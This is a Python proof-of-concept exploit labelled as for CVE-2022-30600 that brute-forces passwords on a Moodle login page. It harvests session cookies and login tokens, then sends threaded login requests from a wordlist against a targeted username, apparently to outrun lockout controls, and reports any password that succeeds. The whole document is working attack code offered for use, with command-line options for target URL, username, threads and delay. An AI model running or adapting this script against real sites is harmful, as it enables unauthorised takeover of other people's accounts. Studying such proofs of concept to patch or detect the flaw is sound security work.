#POC for CVE-2022-30600 #This script allows an attacker to bruteforce the login on a givin account. #You need to tweek the parameters based on the specs of the server and your machine. import threading import requests from time import sleep import argparse from urllib3.exceptions import InsecureRequestWarning #The below variable need to be shared between the various threads. The simplist way to do this is a global varaible PASSWORD = "" def prepare_tokens(): print("Getting Tokens...") r = requests.get(url, verify=False) cookie = r.cookies.get("MoodleSession") tokenLocation = r.text.find('logintoken" value="') + 19 loginToken = r.text[tokenLocation:tokenLocation + 32] return cookie, loginToken def login_request(url, username, password, cookie, loginToken): print("Sending login with password %s" % password) headers = { 'Host': 'moodle', 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie': 'MoodleSession=%s' % cookie, } data = 'logintoken=%s&username=%s&password=%s' % (loginToken, username, password) r = requests.post(url, headers=headers, data=data, verify=False, allow_redirects=True) if (r.text[77:86] == "Dashboard"): global PASSWORD PASSWORD = password else: print("failed") pass def prepare_and_start_threads(url, username, wordlist): #Prepare and start threads tokens = [] threads = [] for i in range(len(wordlist)): tokens.append(prepare_tokens()) for i in range(len(wordlist)): threads.append(threading.Thread(target=login_request, args=(url, username, wordlist[i], tokens[i][0], tokens[i][1]))) threads[i].start() for i in range(len(wordlist)): threads[i].join() if __name__ == "__main__": parser = argparse.ArgumentParser() requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) #Process the parameters parser.add_argument('-u','--username', help='The username of the account being targeted', required=True, type=str) parser.add_argument('-url','--target', help='Base URL of the moodle webapp being targeted', required=True, type=str) parser.add_argument('-w','--wordlist', help='The path to the wordlist file being used', required=True, type=str) parser.add_argument('-t','--threads', help="The amount of threads created for each attempt", required=True, type=int) parser.add_argument('-a','--attempts', help='The amount of attempts you would like make. The default is 1', type=int, default=1) parser.add_argument('-d', '--delay', help='This is the amount of seconds between each attempt. The default value is 2', type=int, default=2) #Assign paremeters to variables username = parser.parse_args().username url = parser.parse_args().target + "login/index.php" path = parser.parse_args().wordlist threads = parser.parse_args().threads attempts = parser.parse_args().attempts delay = parser.parse_args().delay #Get wordlist contents based on the amount of attempts x threads wordlistFile = open(path,'r') wordlist = [''] * (attempts * threads) for i in range(len(wordlist)): wordlist[i] = (str(wordlistFile.readline()).strip()) #Get worldlsit range for each for i in range(attempts): prepare_and_start_threads(url, username, wordlist[(i * threads):(((i + 1) * threads) - 1)]) if (PASSWORD != ""): print("working password found! %s" % PASSWORD) break sleep(delay)